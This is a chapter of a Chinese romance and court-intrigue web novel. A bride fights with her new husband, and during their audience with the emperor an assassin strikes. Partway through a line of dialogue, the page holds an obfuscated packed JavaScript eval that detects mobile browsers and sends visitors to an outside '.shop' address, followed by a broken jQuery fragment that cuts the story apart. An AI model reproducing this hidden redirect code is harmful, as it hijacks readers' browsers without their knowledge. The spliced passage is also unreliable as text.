文趣网 > 其他小说 > 赐婚跋扈贵女后 > 3. 03朝堂
    郑府。晨起在正堂与郑舒徊险些起了争执,泠荇心中气闷。虽出了这档子事,她却始终记得下午须进宫谢恩的安排。

    她坐在花厅,悠然盯着茶盏里浮沉的茶瓣。卯时三刻的日头斜斜切过楹联,将“佳偶天成”四个字劈成两半,落在她眼里,刺眼得很。

    午色染透窗纱时,下人送来了几件郑岷徊的换洗中衣。泠荇好奇地抚摸几下,比纱线更为轻薄,比丝绸更为光滑,是“云盛堂”的招牌云锦,浸在薄阳之中十分漂亮。

    突然,她目光愣在一根鸦青长发之上,细看发丝尾端泛着紫檀光泽——她心里一沉,这定然是女子的发丝。

    “岂有此理!”

    郑岷徊推门时撞见满地狼藉,泠荇赤着脚踩在撕碎的衣服上,气喘吁吁,俏脸涨得通红。这才是他印象里那个骄纵的阮家大小姐。

    “谁惹阮小姐生气了!”他自然听说了早起之事,语气平淡,听不出情绪。

    泠荇抬头看他,后者一副心情不错的模样,于是恼怒更甚。或许——她心里那个猜测,被这根头发丝勾得愈发清晰。

    “阮小姐就只有这些能耐!”

    “郑岷徊!”泠荇扬起手掌,在他没有任何防备之下就那么甩了过去。

    郑岷徊并不知晓她缘何至此,巴掌“呼”地扇过,猝不及防。他偏回侧脸,瞬间浮起红痕,一脸震惊。却听泠荇厉声警告:“本小姐没有其他能耐,但是郑岷徊你听好了!我既已嫁到你们郑府,你们就该好言相待!否则,本小姐可不能保证,不做出什么来!”

    郑岷徊钳住阮泠荇手腕按在妆台前,铜镜映出她散乱的发髻,“真是好样的,只是阮小姐没有听过,男人的脸可不是随意能打的!”

    “是吗?”泠荇抬眉,正欲继续反抗,手心却传来一阵微疼,她缩了缩。目光却瞧见他肩处混入的几根长发,她对香料敏感,怎会嗅不出,这女子常用的浓烈茜草香。

    泠荇用力挣扎不得,突然仰头咬在他虎口,血腥味混着她唇上胭脂染红牙关。忽如其来的痛感使得郑岷徊一惊,却并未缩回手,“从府门到宫中需要半个时辰,阮小姐确定还要继续?”

    “你放开我!”泠荇声音软下几分他才松手,她转动手腕,被他捏出了道两指粗的红印。真是半点不懂得怜香惜玉。十几年来,她从未这般在旁人面前吃过瘪。泠荇是不肯认输的,她心下一念,缓缓抬手试探着圈上了他的脖颈。

    郑岷徊身形明显一顿,连呼吸都紧了几分。怀中之人几近靠上他的胸膛,酥软之音慢悠悠道:“还有,到了圣上面前,你可不许再叫我阮小姐,要叫泠儿,知道吗!”

    仿佛满地狼藉与她无关。

    回到屏风之后,泠荇心口砰砰作响,险些瘫软在地,方才也是惊出了汗。透过间隙瞧外头那人还愣在那儿。她却是又“咯咯”捂嘴笑了起来。

    敢惹她,他自己也别想好过!

    **

    **

    车轮碾过宫道的青石板,发出沉闷单调的声响,一声声敲在泠荇紧绷的神经上。她刻意将身子歪在车厢最角落,离对面的郑岷徊远远的。浅青簇新锦袍衬得她肤色冷白,她算是明白了,若他强要欺负她,她是逃不掉的,毕竟不是在阮府——被他轻易制住的手腕现在还疼。

    “看够了吗?”郑岷徊忽然睁开眼,眸色深沉如寒潭,精准地捕捉到她未来得及收回的愤恨视线。

    泠荇心头一跳,扬起下巴毫不示弱地呛回去,“谁稀罕看你这张脸,本小姐可消受不起!”

    马车缓缓停了下来。宫门到了。巍峨朱红的宫墙挟裹着无形威压扑面而来,瞬间压下了她心中所有气焰。

    引路太监佝偻着背,脚步无声。穿过层层森严门禁,御书房的墨香与沉水香气混合着传来。

    “臣郑岷徊携新妇阮氏,叩谢陛下天恩。”郑岷徊声音清越平稳,撩袍跪地。泠荇紧随其后跪下,额头触上冰凉金砖。她眼角的余光瞥见侍立在御案右下首的哥哥阮颐。他一身银青武官服,身姿挺拔,目光沉凝。

    “起来吧。”御案后传来皇帝温和的笑语,“郑卿一族于夕洲历练数年,守土安民,功勋卓著。如今凭己之力回返京霖,又成阮府门下乘龙快婿,朕心甚慰。”

    历练?分明是贬谪。安土守民?那方偏僻之所,何来净土何来良民?

    “雷霆雨露,俱是君恩。”郑岷徊微微躬身,声音毫无波澜,“郑氏一族亦时时感念陛下恩德,不敢懈怠。臣定当克尽本分,不负圣望。”

    “夕洲境苦。”皇帝话锋一转,手指摩挲着白玉镇纸。“朕记得,当年你爷爷……”他刻意顿了顿。听着是褒奖,字字却都敲在旧案的伤疤上。

    泠荇心提到了嗓子眼,她飞快偷瞄郑岷徊,只见他头颅更低垂了几分,侧脸线条绷紧,但声音依旧沉稳。

    “陛下谬赞。郑氏一族铸下大错,陛下法外施恩,允臣戴罪之身效力军前,已是再造之恩。臣唯有肝脑涂地,以报万一。过往种种,臣……不敢或忘。”

    “好一个不敢或忘。”气氛骤然绷紧,无形的压力沉得让人窒息。皇帝话锋一转。“梓修方才也夸你,朕瞧你们也是郎才女貌,阮郑两家先前有些过节,如今成了亲家……”

    轻微脚步声自宫门口响起。端着茶盘的宫人低着头,步履轻悄上茶。

    泠荇正因殿内压抑和郑岷徊滴水不漏的回答心烦意乱,眼角余光瞥见那宫人靠近,下意识挪脚,不偏不倚狠狠踩在了郑岷徊曳地的袍角上!力道不轻。她撇撇嘴,可不是故意的。

    郑岷徊身形几不可察地微微一滞。

    “小心!”阮颐暴喝似惊雷炸响。他虽未着兵器,却化作一道银青闪电,猛地扑向御案。

    那低眉顺眼的宫人骤然抬头,托盘坠地,淬着幽蓝寒光的铁簪毒蛇般弹出,直刺皇帝心口!

    郑岷徊的动作奇快,在她还未反应过来时旋身,已躲开那致命一击。然而,就在郑岷徊旋身格挡,背对阮颐的同一刹那,泠荇抬头,见哥哥临时抽出的短刃如毒蛇吐信,精准无比地抵在了郑岷徊的后心!

    时间凝固。那刺客一击不中,喉结猛地一动!嘴角溢出黑血,瘫软在地,气绝身亡。

    死寂。浓重的血腥味弥漫开来。

    皇帝摆了摆手,惊惶之色已褪去,目光饶有兴味地在阮颐和郑岷徊之间逡巡,最终停在后者那张依旧没什么血色的脸上,以及他右手虎口处又被震裂的伤口,殷红的血正顺着指缝蜿蜒流下。

    皇帝突然抚掌大笑,笑声洪亮而突兀,“郑卿身手不凡!护驾有功!

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17697239|208012||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    只是这右手的伤——

    **

    **

    殿中慌乱,羽林卫闻声赶来将内宫围得水泄不通,三人离开宫门时已是傍昏时分。

    泠荇被吓得煞白的脸色已恢复了些,紧紧拽着阮颐的衣袖。

    三人于街边酒馆相对而坐,阮颐自顾举杯饮下。“如今河清海晏,朝堂安稳,扈军也是大有可为之地。”

    “多谢。”郑岷徊知道,阮颐并不全然信任自己,否则也不会关键时刻以刃抵防。可他还是出言相助。

    “对泠儿好些,她任性调皮,你多担待!”阮颐瞧了眼他紧捏酒盏的右手虎口之伤,又撇了眼泠荇。后者自知理亏赶忙捏了把他。娇里娇气唤了声“哥。”

    “你也收敛些吧!如今也是有夫君的人了!怎么还像个孩子一样!”

    “郑岷徊,你说,本小姐对你怎么样!是不是很好啊!”泠荇脱口而出,他们兄妹你一句我一句,郑岷徊杵在一旁,被其这么一点,笑了笑说。

    “阮……泠儿对我很好,十分得好!”

    “你看吧!”泠荇眨了眨眼,她觉得那声“泠儿”怎么就那么咬牙切齿呢!

    阮颐离开之时,泠荇强忍着眼泪叮嘱他,“你跟爷爷娘亲说,说我很好,不要记挂。”

    阮父去得早,几位叔叔业有家事,娘亲说不上话,全靠爷爷维护照料,近年来爷爷身体愈差,她不想家中担心。

    阮颐身影走远,泠荇情绪一下子低落起来,连话也不想多说。

    “实在不悦,回去住几日也无妨。”

    “就盼着本小姐回去是吧!”泠荇闷闷“哼”了声,掀开轿帘,马车刚拐进条稍窄的街巷,前方忽然传来一阵骚动和惊呼。

    “让开!快让开!”车夫急急勒马。

    泠荇身子前倾,险些撞到厢壁。她稳住身形,一个披头散发、衣衫褴褛的老妇,正痴笑着含糊不清念叨着什么“花……海棠……我的儿……”

    郑岷徊眉头一蹙。

    “拦下她,别伤着人。”泠荇吩咐随行的郑府下人。两个健仆连忙上前,老妇也不挣扎,浑浊的眼睛直勾勾地透出天真哀戚。

    “送她回家。”泠荇放下帘子,坐回车内,心中不是滋味。

    车内静了片刻,泠荇无端想起了今日在正堂上,郑爷爷的倏然失神,绝非寻常长辈见到孙媳的反应。

    马车重新缓缓前行,无数画面在泠荇脑中翻搅。她犹豫了片刻,终是忍不住转向郑岷徊,她抿了抿唇,“方才……上午你爷爷……他见到我时……”

    郑岷徊目光仍落在窗外流动的暗色里,淡淡道,“他神思不太清楚,许是看见了你,念起什么陈年往事。”郑岷徊的视线收回,声音低沉平缓,“不必理会许多,他时好时坏。”

    泠荇“哦”了声,尴尬而沉重的静默再次弥漫。

    “我知道几味安神静心的方子。放在房中熏一熏,夜里能睡得安稳些。”

    郑岷徊看向她,仿佛在怀疑她无端示好的用意。

    “本小姐善心大发,你别不知好歹!”

    马车恰在此时驶入郑府侧门,稳稳停下。泠荇暗暗松了口气,掀帘下车,夜风扑面,带着秋夜的凉意,灯笼昏黄,在他们身后拉出长长的影子。